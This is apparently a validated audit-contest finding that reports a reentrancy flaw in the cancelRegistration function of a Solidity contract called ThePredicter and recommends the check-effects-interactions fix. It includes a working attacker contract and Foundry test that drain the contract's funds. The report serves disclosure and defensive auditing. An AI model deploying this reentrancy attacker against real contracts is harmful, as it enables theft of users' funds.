First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Issue Allows For The Registered User To Drain Funds From `ThePredicter` Contract

evmninja

Summary

The function cancelRegistration() contains a reentrancy issue because it does not confirm the Check-Effect-Interaction (CEI) pattern.

Vulnerability Details

A malicious party could write a contract that poses as a player to call register() then cancelRegistration() to drain all the fund collected by the ThePredicter contract. The attack is successful when the following condition holds:

  • The register() call is successful.

  • The playersStatus of the malicious contract is Status.Pending

Impact

All the funds in `ThePredicter` contract could be drained and thus the issue is labeled as critical (high impact, high likelihood).

Tools Used

Testing, manual analyses

Recommendations

Implement CEI pattern by changing the playersStatus to Status.Canceled before sending the fund back.

Proof of Concept

We have an attacker contract as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
​
import {ThePredicter} from "src-client/src/ThePredicter.sol";
​
contract ReenterUser {
ThePredicter public thePredicter;
​
event Received(address, uint256);
​
constructor(ThePredicter _thePredicter) {
thePredicter = _thePredicter;
}
​
function register() public payable {
thePredicter.register{value: thePredicter.entranceFee()}();
}
​
function cancelRegistrationReenter() public {
thePredicter.cancelRegistration();
}
​
receive() external payable {
emit Received(msg.sender, msg.value);
if (address(thePredicter).balance >= thePredicter.entranceFee()) {
thePredicter.cancelRegistration();
}
}
​
function addFund() external payable{}
​
function withdrawFund() external {
payable(msg.sender).send(address(this).balance);
}
​
}

Then we demonstrate the issue using the following test:

function test_evmn_cancelRegistration_POC_reentrancy() public {
​
// Register 29 users
for (uint256 i = 0; i < 29; i++) {
deal(users[i], thePredicter.entranceFee());
vm.startPrank(users[i]);
thePredicter.register{value: thePredicter.entranceFee()}();
​
vm.stopPrank();
}
​
// Register 30th user
deal(address(this), thePredicter.entranceFee());
reenterUser.register{value: thePredicter.entranceFee()}();
​
emit log_named_uint("thePredicter.balance before", address(thePredicter).balance);
​
// Cancel registration for 30th user
reenterUser.cancelRegistrationReenter();
​
// Check the balance of thePredicter
emit log_named_uint("thePredicter.balance after", address(thePredicter).balance);
​
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.